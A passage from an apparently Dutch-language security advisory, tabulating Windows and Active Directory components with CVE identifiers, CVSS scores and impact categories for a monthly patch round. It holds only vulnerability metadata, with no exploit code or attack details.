|\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: 